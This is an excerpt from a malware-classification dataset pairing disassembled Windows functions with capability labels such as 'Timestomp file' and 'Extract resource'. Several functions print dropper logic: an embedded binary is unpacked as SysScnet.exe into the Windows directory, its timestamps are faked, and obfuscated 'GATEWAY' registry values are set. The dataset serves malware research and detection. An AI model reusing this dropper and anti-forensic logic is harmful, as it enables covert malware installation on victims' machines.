joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002e330
Capabilities:
Query environment variable

Disassembly:
push r14
mov eax, 0x10080
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.140091e80
sub rsp, rax
xor eax, eax
xor edx, edx
xor esi, esi
mov r14d, 0x28
movzx edi, byte [rcx]
mov word [rsp + 0x80], ax
mov r12, rcx
lea rbp, [rsp + 0x30]
lea r13, [rsp + 0x2e]
mov word [rsp + 0x30], dx
test dil, dil
je 0x14002e3d9
nop dword [rax]
mov rax, r14
lea rbx, [rbp + rsi*2]
sub rax, rsi
cmp word [rbp + rsi*2], 0
je 0x14002e39e
nop dword [rax + rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x14002e390
test rax, rax
je 0x1400a2d7e
mov rcx, rbx
add rsi, 1
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, r13
mov byte [rsp + 0x2e], dil
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.msvcrt.dll_mbstowcs
movzx edi, byte [r12 + rsi]
test dil, dil
jne 0x14002e378
lea rbx, [rsp + 0x80]
mov r8d, 0x10000
mov rcx, rbp
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea edx, [rax - 1]
xor eax, eax
cmp edx, 0xffff
ja 0x14002e408
mov rcx, rbx
call sub.msvcrt.dll__wcsdup
add rsp, 0x10080
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret

Function at 0x14002e420
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
xor eax, eax
xor esi, esi
mov r13d, 0x28
movzx edi, byte [rcx]
mov word [rsp + 0x30], ax
mov rbp, rcx
mov r14, rdx
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x2e]
test dil, dil
je 0x14002e4c1
nop word [rax + rax]
mov rax, r13
lea rbx, [r15 + rsi*2]
sub rax, rsi
cmp word [r15 + rsi*2], 0
je 0x14002e486
nop word [rax + rax]
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x14002e478
test rax, rax
je 0x1400a2d84
mov rcx, rbx
add rsi, 1
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, r12
mov byte [rsp + 0x2e], dil
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x2f], 0
call sub.msvcrt.dll_mbstowcs
movzx edi, byte [rbp + rsi]
test dil, dil
jne 0x14002e460
mov rdx, r14
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
nop
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140045560
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.NUITKA_ONEFILE_BINARY
mov ebx, ecx
mov rcx, rsi
call fcn.14002e330
test rax, rax
je 0x1400456a0
mov rdx, 0xffffffffffffffff
mov rcx, rax
lea r14, [rsp + 0x40]
mov r15d, 0x4e
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
mov rdi, r14
lea r12, [rsi + 0x28]
lea rbp, [rsp + 0x3e]
mov r13, rax
xor eax, eax
mov word [rsp + 0x40], ax
nop
mov rax, r12
mov rbx, rdi
sub rax, rsi
cmp word [rdi], 0
je 0x1400455de
nop
add rbx, 2
sub rax, 1
cmp word [rbx], 0
jne 0x1400455d0
test rax, rax
je 0x1400a2e36
mov rcx, rbx
add rsi, 1
add rdi, 2
call sub.msvcrt.dll_wcslen
mov r8d, 2
mov rdx, rbp
mov byte [rsp + 0x3e], r15b
lea rcx, [rbx + rax*2]
mov byte [rsp + 0x3f], 0
call sub.msvcrt.dll_mbstowcs
movzx r15d, byte [rsi]
test r15b, r15b
jne 0x1400455c0
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rdx, qword [0x1400c58f8]
mov rsi, qword [rax + 0x1f0]
mov rax, qword [0x1400b3c40]
mov rbx, qword [rax + 0x1b8]
test rdx, rdx
je 0x1400456f8
mov r8, rbx
mov rcx, rsi
call fcn.140030dd0
mov r8, r13
mov rcx, rsi
mov rbx, rax
mov rdx, rax
call fcn.1400425a0
sub qword [rbx], 1
jne 0x140045689
mov rdx, qword [rbx + 8]
mov qword [rsp + 0x28], rax
mov rcx, rbx
call qword [rdx + 0x30]
mov rax, qword [rsp + 0x28]
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [0x1400c51c8]
lea rsi, [0x1400c51c8]
test bl, bl
je 0x1400456c0
mov rax, qword [0x1400c51d0]
lea rsi, [0x1400c51d0]
test rax, rax
jne 0x140045689
cmp byte [0x1400c53e2], 0
jne 0x1400456d6
movzx ecx, bl
call fcn.14000ee40
mov rdx, 0xffffffffffffffff
lea rcx, [0x1400c51e0]
call qword [sym.imp.python310.dll_PyUnicode_FromWideChar]
mov qword [rsi], rax
test rax, rax
je 0x140045725
add qword [rax], 1
jmp 0x140045689
mov rdx, qword [0x1400c5870]
mov rdi, qword [rax + 0x1a8]
test rdx, rdx
je 0x140045730
mov r8, rdi
mov rcx, rsi
call fcn.140030dd0
mov qword [0x1400c58f8], rax
mov rdx, rax
jmp 0x140045653
call qword [sym.imp.python310.dll_PyErr_Print]
call sub.msvcrt.dll_abort
lea rcx, [0x1400ac46e]
call qword [sym.imp.python310.dll_PyImport_ImportModule]
mov qword [0x1400c5870], rax
mov rdx, rax
test rax, rax
je 0x1400a2e36
jmp 0x14004570b
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call sub.msvcrt.dll_abort
nop
call qword [sym.imp.python310.dll_PyErr_NoMemory]
call sub.msvcrt.dll_abort
nop
Function at 0x1400878d0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
cmp byte [0x1400c51b1], 0
mov rbp, rcx
mov r12, rdx
mov rdi, r8
je 0x140087958
lea rdx, [0x1400afa12]
mov rcx, rdi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400879c0
mov rbx, qword [0x1400c5068]
jmp 0x140087915
lea rbx, [rdx + rax + 4]
mov rdx, rbx
mov rcx, rdi
call sub.msvcrt.dll_strcmp
mov rcx, rbx
mov esi, eax
call sub.msvcrt.dll_strlen
lea rdx, [rbx + rax + 1]
mov eax, dword [rdx]
test esi, esi
jne 0x140087910
movzx r9d, word [rdx + 4]
lea r8, [rdx + 6]
mov rcx, rbp
mov rdx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp fcn.140076b10
mov r8d, 0xa
xor ecx, ecx
mov edx, 3
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
xor ecx, ecx
lea rdx, [rax + 4]
mov qword [0x1400c5068], rax
mov ebx, dword [rax]
mov qword [0x1400c5068], rdx
mov r8d, dword [rax + 4]
lea rdx, [rax + 8]
mov qword [0x1400c5068], rdx
call fcn.140086a00
cmp eax, ebx
jne 0x140087a47
mov byte [0x1400c51b1], 1
jmp 0x1400878ec
cmp byte [0x1400c51b0], 0
jne 0x140087903
mov rbx, qword [sym.imp.python310.dll_PyDict_New]
call rbx
mov qword [0x1400c5ae8], rax
call rbx
mov qword [0x1400c5ae0], rax
call rbx
mov qword [0x1400c5ad8], rax
call rbx
mov qword [0x1400c5ad0], rax
call rbx
mov qword [0x1400c5ac8], rax
call rbx
mov qword [0x1400c5ac0], rax
call rbx
mov qword [0x1400c5ab8], rax
call rbx
mov byte [0x1400c51b0], 1
mov qword [0x1400c5ab0], rax
mov rax, qword [sym.imp.python310.dll__PyRuntime]
mov rax, qword [rax + 0x1f0]
mov rax, qword [rax + 0x10]
add rax, 0xda0
mov qword [0x1400c5060], rax
jmp 0x140087903
lea rcx, str.Error__corrupted_constants_object
call sub.msvcrt.dll_puts
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140090b60
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.1400a22e0
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.1400a22e0
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140091832
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x1400c5fa8]
test eax, eax
je 0x1400918ca
lea rax, [0x1400c5f80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x1400c5fb0]
mov qword [rbp - 8], rax
jmp 0x1400918ae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400918a2
cmp qword [rbp - 0x10], 0
je 0x1400918a2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140091868
lea rax, [0x1400c5f80]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400918cb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400919d0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400919f8
mov eax, 0
jmp 0x140091a46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140091a21
mov eax, 0
jmp 0x140091a46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140091a41
mov eax, 0
jmp 0x140091a46
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140091a4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140091aca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140091ac1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140091ac1
mov rax, qword [rbp - 8]
jmp 0x140091adf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140091a94
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Delete file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rsi, r8d
mov rbp, rdx
mov rbx, rcx
xor edi, edi
call qword [sym.imp.MSVCR90.dll_remove]
lea rdx, [0x140003288]
mov rcx, rbx
call qword [sym.imp.MSVCR90.dll_fopen]
mov rbx, rax
cmp rax, rdi
je 0x140001067
lea r12d, [rdi + 1]
mov r8, rsi
mov r9, rax
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, rbx
cmp eax, esi
cmove edi, r12d
call qword [sym.imp.MSVCR90.dll_fclose]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x140001084
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov ebx, ecx
xor ecx, ecx
mov r13, r8
mov rdi, rdx
xor r12d, r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
mov r8, rdi
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
cmp rax, r12
je 0x14000113e
mov rdx, rax
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
mov rcx, rbp
mov esi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
test esi, 0x1ff
mov dword [r13], esi
setne r12b
mov rdi, rax
mov eax, esi
shr eax, 9
add r12d, eax
shl r12d, 9
mov ecx, r12d
mov ebx, r12d
call sub.MSVCR90.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r12, rax
call sub.MSVCR90.dll_memset
mov r8, rsi
mov rdx, rdi
mov rcx, r12
call sub.MSVCR90.dll_memcpy
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, r12
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x14000115c
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x260
mov rax, qword [0x140004108]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r12d, ecx
mov edi, r8d
mov rsi, rdx
mov ebp, 0x103
lea rcx, [rsp + 0x141]
xor ebx, ebx
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x140], bl
call sub.MSVCR90.dll_memset
lea rcx, [rsp + 0x31]
mov r8, rbp
xor edx, edx
mov byte [rsp + 0x30], bl
call sub.MSVCR90.dll_memset
cmp edi, ebx
jne 0x140001229
lea edx, [rbp + 1]
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov rdx, rbx
lea ebp, [rbx + 1]
mov al, byte [rsp + rdx + 0x140]
mov byte [rsp + rdx + 0x30], al
add rdx, rbp
cmp al, bl
jne 0x1400011da
xor eax, eax
or rdx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
mov rcx, rdx
repne scasb al, byte [rdi]
movzx eax, word [0x14000329c]
mov rcx, rdx
sub rdi, rbp
mov word [rdi], ax
xor eax, eax
lea rdi, [rsp + 0x30]
repne scasb al, byte [rdi]
sub rdi, rbp
xor ecx, ecx
mov al, byte [rsi + rcx]
mov byte [rdi + rcx], al
add rcx, rbp
test al, al
jne 0x14000121a
jmp 0x140001242
lea rdx, [rsp + 0x30]
mov ebp, 1
sub rdx, rsi
mov al, byte [rsi]
mov byte [rdx + rsi], al
add rsi, rbp
cmp al, bl
jne 0x140001236
lea r8, [rsp + 0x20]
lea rdx, str.IDR_BINARY
mov ecx, r12d
mov dword [rsp + 0x20], ebx
call fcn.140001084
mov rdi, rax
cmp rax, rbx
je 0x140001281
mov r8d, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140001000
mov rcx, rdi
cmp eax, ebx
cmovne ebx, ebp
call sub.MSVCR90.dll_void___cdecl_operator_delete_void____ptr64_
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001790
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret

Function at 0x1400012ac
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rax - 0x28], rsi
lea r8d, [rsi + 3]
mov dword [rax - 0x30], 0x2000000
mov dword [rax - 0x38], r8d
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012f2
xor eax, eax
jmp 0x140001392
mov eax, 0x7da
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, 1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x68]
lea rdx, [rsp + 0x68]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [rsi + 1]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x1400013a4
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
lea rsi, [0x140004250]
mov edi, 0x104
xor edx, edx
mov rcx, rsi
mov r8, rdi
call sub.MSVCR90.dll_memset
mov edx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea rbx, [0x140004140]
mov r8, rdi
mov rcx, rbx
xor edx, edx
call sub.MSVCR90.dll_memset
xor ecx, ecx
mov al, byte [rcx + rsi]
mov byte [rcx + rbx], al
inc rcx
test al, al
jne 0x1400013ed
xor eax, eax
or rdx, 0xffffffffffffffff
mov rdi, rbx
mov rcx, rdx
lea r8d, [rdx + 2]
repne scasb al, byte [rdi]
movzx eax, word [0x14000329c]
mov rcx, rdx
mov word [rdi - 1], ax
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
mov rax, qword [str.SysScnet.exe]
lea ecx, [r8 + 0x66]
mov qword [rdi - 1], rax
mov eax, dword [0x1400032a8]
mov rdx, rbx
mov dword [rdi + 7], eax
mov al, byte [0x1400032ac]
mov byte [rdi + 0xb], al
call fcn.14000115c
test eax, eax
je 0x140001456
mov rcx, rbx
call fcn.1400012ac
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001518
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov dword [rax + 0x10], 0x4e2d
lea rax, [rax + 0x20]
and dword [rax - 0x18], ebx
lea edi, [rbx + 4]
lea rdx, section..data
mov dword [rax - 8], edi
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400016a7
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [0x140003348]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400016a7
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x60]
lea rsi, str.VERSION_Value
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001603
mov eax, dword [rsp + 0x58]
lea ebx, [rdi - 3]
cmp dword [rsp + 0x50], eax
je 0x1400016a7
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400013a4
jmp 0x14000162f
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x58]
mov r9d, edi
xor r8d, r8d
mov rdx, rsi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call fcn.1400013a4
mov ebx, 1
lea rdx, str.qa_i4420_fqpn7__k1_14..__kk_21103446_bq43bcobc
xor eax, eax
or rsi, 0xffffffffffffffff
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY1_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rdx, str.ff3487rbea4775grsn9_.uvu_a35_7754_bml_22114i81
xor eax, eax
mov rdi, rdx
mov rcx, rsi
mov r9d, ebx
repne scasb al, byte [rdi]
xor r8d, r8d
not rcx
sub rcx, rbx
add ecx, ebx
mov dword [rsp + 0x28], ecx
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdx
lea rdx, str.GATEWAY2_Value
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400016b7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret

Function at 0x1400016c4
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_KillTimer]
call fcn.140001f00
lea rcx, [0x140003358]
mov edx, 1
call fcn.140001468
call fcn.140001518
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001bdb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140004108]
jne 0x1400017aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400017a6
repz ret
ror rcx, 0x10
jmp 0x140001b34
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140004420]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140004518]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001bb9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140004420]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001bdb
mov rax, qword [rsp + 0x88]
mov qword [0x140004518], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400044b8], rax
mov rax, qword [0x140004518]
mov qword [0x140004390], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400044a0], rax
mov dword [0x140004380], 0xc0000409
mov dword [0x140004384], 1
mov rax, qword [0x140004108]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140004110]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140004418], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140003370]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140004418], 0
jne 0x140001c62
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x413560
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41370b
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042c700
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x4135ce
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4135e1
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x413605
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x413619
cmp rbx, 0x1000
jae 0x4135d8
nop
jmp 0x413689
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41362d
xor edx, edx
jmp 0x413680
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.0042c700
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x41360f
jmp 0x4135f5
call fcn.00459120
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00431560
lea rax, [0x0047fc39]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00431e60
mov rax, qword [rsp + 0x38]
call fcn.00431b60
lea rax, [0x0047fcc9]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00431e60
mov rax, qword [rsp + 0x30]
call fcn.00431b60
call fcn.004317c0
call fcn.004315e0
lea rax, [0x00481934]
mov ebx, 0x21
call fcn.0042fde0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004555e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00413560